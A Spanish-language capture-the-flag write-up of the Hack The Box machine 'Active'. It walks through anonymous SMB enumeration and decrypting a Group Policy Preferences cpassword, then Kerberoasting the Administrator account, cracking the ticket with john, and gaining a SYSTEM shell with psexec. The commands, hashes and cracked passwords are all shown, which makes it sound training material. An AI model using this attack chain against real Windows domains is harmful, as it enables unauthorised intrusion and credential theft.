Active - Writeup

RECONOCIMIENTO - EXPLOTACION

Realizamos un escaneo de puertos con nmap:

```
Discovered open port 445/tcp on 10.10.10.100
Discovered open port 53/tcp on 10.10.10.100
Discovered open port 135/tcp on 10.10.10.100
Discovered open port 139/tcp on 10.10.10.100
Discovered open port 49152/tcp on 10.10.10.100
Discovered open port 49153/tcp on 10.10.10.100
Discovered open port 464/tcp on 10.10.10.100
Discovered open port 49157/tcp on 10.10.10.100
Discovered open port 49166/tcp on 10.10.10.100
Discovered open port 9389/tcp on 10.10.10.100
Discovered open port 593/tcp on 10.10.10.100
Discovered open port 49168/tcp on 10.10.10.100
Discovered open port 49154/tcp on 10.10.10.100
Discovered open port 389/tcp on 10.10.10.100
Discovered open port 49158/tcp on 10.10.10.100
Discovered open port 49165/tcp on 10.10.10.100
Discovered open port 88/tcp on 10.10.10.100
Discovered open port 3268/tcp on 10.10.10.100
Discovered open port 636/tcp on 10.10.10.100
Discovered open port 3269/tcp on 10.10.10.100
Discovered open port 5722/tcp on 10.10.10.100
Discovered open port 49155/tcp on 10.10.10.100
```

Localizamos carpetas compartidas con una null session:

```
└─$ smbclient -L 10.10.10.100 -N
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Replication     Disk
        SYSVOL          Disk      Logon server share
        Users           Disk
```

Vemos que podemos entrar a la carpeta replication:

```
└─$ smbclient //10.10.10.100/replication -N
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat Jul 21 06:37:44 2018
  ..                                  D        0  Sat Jul 21 06:37:44 2018
  active.htb                          D        0  Sat Jul 21 06:37:44 2018

                5217023 blocks of size 4096. 242978 blocks available
smb: \> cd active.htb\
smb: \active.htb\> dir
  .                                   D        0  Sat Jul 21 06:37:44 2018
  ..                                  D        0  Sat Jul 21 06:37:44 2018
  DfsrPrivate                       DHS        0  Sat Jul 21 06:37:44 2018
  Policies                            D        0  Sat Jul 21 06:37:44 2018
  scripts                             D        0  Wed Jul 18 14:48:57 2018
```

Como hay carpetas dentro de carpetas, es mejor montarnos esta carpeta smb en /mnt y luego realizar un tree para poder verlo en forma de arbol. Pero me da un error osea que tendre que buscarlos a ojo:

```
┌──(kali㉿kali)-[~/Downloads]
└─$ sudo mount -t cifs //10.10.10.100/replication /mnt/smb -o guest,vers=2.0
mount error(13): Permission denied
Refer to the mount.cifs(8) manual page (e.g. man mount.cifs) and kernel log messages (dmesg)
```

Tras investigar los directorios, he encontrado un archivo llamado groups.xml:

```
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> dir
  .                                   D        0  Sat Jul 21 06:37:44 2018
  ..                                  D        0  Sat Jul 21 06:37:44 2018
  Groups.xml                          A      533  Wed Jul 18 16:46:06 2018
```

Vamos a ver el contenido:

```
└─$ cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2
018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9
FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb
\SVC_TGS"/></User>
</Groups>
```

Encontramos:

- El usuario: active.htb\SVC_TGS
- Contraseña/hash: edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

Tras probar varias herramientas para desencriptar como: john, cyberchef y crackstation, he logrado descifrarla con otra herramienta llamada gpp-decrypt:

```
└─$ gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9gu
GPPstillStandingStrong2k18
```

Vemos que la contraseña es valida para conectarse por smb pero no puedo conectarme por winrm:

```
┌──(kali㉿kali)-[~/Downloads]
└─$ crackmapexec smb 10.10.10.100 -u SVC_TGS -p GPPstillStandingStrong2k18 2>/dev/null
SMB         10.10.10.100    445    DC              [*] Windows 7 / Server 2008 R2 Build 7601 x64 (nam
e)
SMB         10.10.10.100    445    DC              [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18

┌──(kali㉿kali)-[~/Downloads]
└─$ crackmapexec winrm 10.10.10.100 -u SVC_TGS -p GPPstillStandingStrong2k18 2>/dev/null
```

Podemos hacernos con la flag user.txt con smbmap:

```
┌──(kali㉿kali)-[~/Downloads]
└─$ smbmap -H 10.10.10.100 -u SVC_TGS -p GPPstillStandingStrong2k18 --download Users/SVC_TGS/Desktop/user.txt
/usr/lib/python3/dist-packages/smbmap/smbmap.py:441: SyntaxWarning: invalid escape sequence '\p'
  stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % remoteName

    ________  ___      ___  _____  ___      ___       __         _____
   /"       )|"  \    /"  ||     _  "\   |"  \     /""\       |     __"\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //    |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _   \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_____)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - ShawnDEvans@gmail.com<mailto:ShawnDEvans@gmail.com>
                 https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] Starting download: Users\SVC_TGS\Desktop\user.txt (34 bytes)
[+] File output to: /home/kali/Downloads/10.10.10.100-Users_SVC_TGS_Desktop_user.txt
[*] Closed 1 connections
```

ESCALADA DE PRIVILEGIOS

Como tenemos las credenciales de un usuario de active directory, podemos probar si ese usuario es kerberoasteable. Esto quiere decir que el usuario actual puede pedir un "ticket granting service" para poder conectarse:

`impacket-GetUserSPNs active.htb/svc_tgs:GPPstillStandingStrong2k18`

```
└─$ impacket-GetUserSPNs active.htb/svc_tgs:GPPstillStandingStrong2k18
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName  Name           MemberOf
egation
--------------------  -------------  ------------------------------------------------------------
-------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb
```

Como podemos ver, le podemos pedir al usuario administrador un "ticket granting service" para conectarnos como el usuario administrador por "smb". Esto nos dara un hash que si lo crackeamos nos permitira acceder como el usuario administrador a traves de "psexec". Pedimos el tiquet que viene hasheado añadiendo "-request":

```
┌──(entorno)─(kali㉿kali)-[~/Downloads/BloodHound.py]
└─$ impacket-GetUserSPNs active.htb/svc_tgs:GPPstillStandingStrong2k18 -request
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName  Name           MemberOf                                                PasswordLastSet             LastLogon                   Del
egation
--------------------  -------------  ------------------------------------------------------  --------------------------  --------------------------  ---
------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40.351723  2024-10-10 06:46:33.778574


[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$eb86314a3fbfb94806e3b43641e68568$3f2a01286f5544307c0fd3f856b5dd7a06158c9a4ece59b950f17bf6f
f3d24222a937864319b19e1987c0dba395bd9976886a4f67db462afeb1b7b769e795d329ea1b8c3cb7f82bde11ff41109a507b8f264e2d6fa3063e3f9996baf623e934d01d1d8504e1c9ab29e2
022cdd47200a8a77b52ca1ddef08f474f44442f2d8b1feb266a92773c20cbe31982c800f3e33e10656b984f284d1ca9e4848d56080fa28b85d9eeec9bc97be9f8c1ed3b984108ff52c5b4c2da6
5856e4ba5b353af4cfbe81944431fd3008953f53aed0ee87ee23cb00ea5edb9e1a304d2022724ce61cd3482dc24899346f25d6151b41754c6f3f5e8b8ad0449dbc9f4f64aecd49abc74dc0feef
517e0a9906f9a26d502519898ce888c97d135adef76920110985fd2b96edd1b21f0737dcf5bb1dc92d180160825c24c063aadc37832a6d6b9329978ecb4061940961bac1f00b4d252b55efce46
9ea706862759320808513cd120c8bd20b0cbc08762489ae3c06d9f1fabe115739ce2823e0f47af058b68c224920f8cd2e9ffb9710ab65fa480b56f193696155cdc72f0da73203ea3797faa6464
693a74b0b5ca473471867d76a1e98459e9e2a4cd80b102392ae7fd6d271ae203998cc8a0cd0ad88422cf6f0e87d0754281a5ebbd3d23336b4c9ba3614f4db85820d2fbea127f15d7549b5e7a32
30f72bedd177a590e318efb1f275ba99595860fe1fe9aac498773a2e02adcb11fd77813c00b0371c2b4a3bd10f5fc6e886ab8a6bda64baf33254ae7313b61d4d48b48ef46732039e6436d38a99
9abc9c28e9b2e0e8fc252fb649df0205ce48bdc403d6a3eef19e5c8a91200758a7280e577c9b44829630c03fb5675b5a08fd5583c856897741bdc6a18f04789386bfc57e8d92998a3443da8ca8
43df664e7c91ef6b892b08838412be1a7bb3f7f82f7d1a5d5c7c489c162deae54f1afe44e4db4d0aab826c98d95d06a7e5af70b257a5b7c13fcbb02584c614f2e5d4234aeaca24cf9186eaf9dd
5a75fa71e3a9f9cb03d3beec3bd6ebbf79e17715773065a89e23fba4834ba637682e4365970d157c902d0cda622d972ba085d6fa4b9d482eb457e5da70c208488f66fc5b87e0d104ac71fae8e7
cf03f2ad730a12a97c58ed3038e71f2508f79b9a23cf3fbd83b559395d4e8f02a485527e44c38405e57d1018d580b8ca8a8b6cb271f48ff003f034d1b6a3b01456d2f4c6700a7bf538a87f9365
97b03b0d050638943c3ae9778193c
```

Lo crackeamos con john:

```
└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:17 32.71% (ETA: 08:28:29) 0g/s 283793p/s 283793c/s 283793C/s padunka3..padot
0g 0:00:00:21 44.26% (ETA: 08:28:25) 0g/s 306567p/s 306567c/s 306567C/s ks75703..ks1200
Ticketmaster1968 (?)
1g 0:00:00:32 DONE (2024-10-10 08:28) 0.03120g/s 328782p/s 328782c/s 328782C/s Tiffani1432..Tiago_18
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Y iniciamos sesion con "psexec"

```
└─$ impacket-psexec active.htb/administrator@10.10.10.100
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:
[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file HemtwvpJ.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service iEKV on 10.10.10.100.....
[*] Starting service iEKV.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> whoami
nt authority\system
```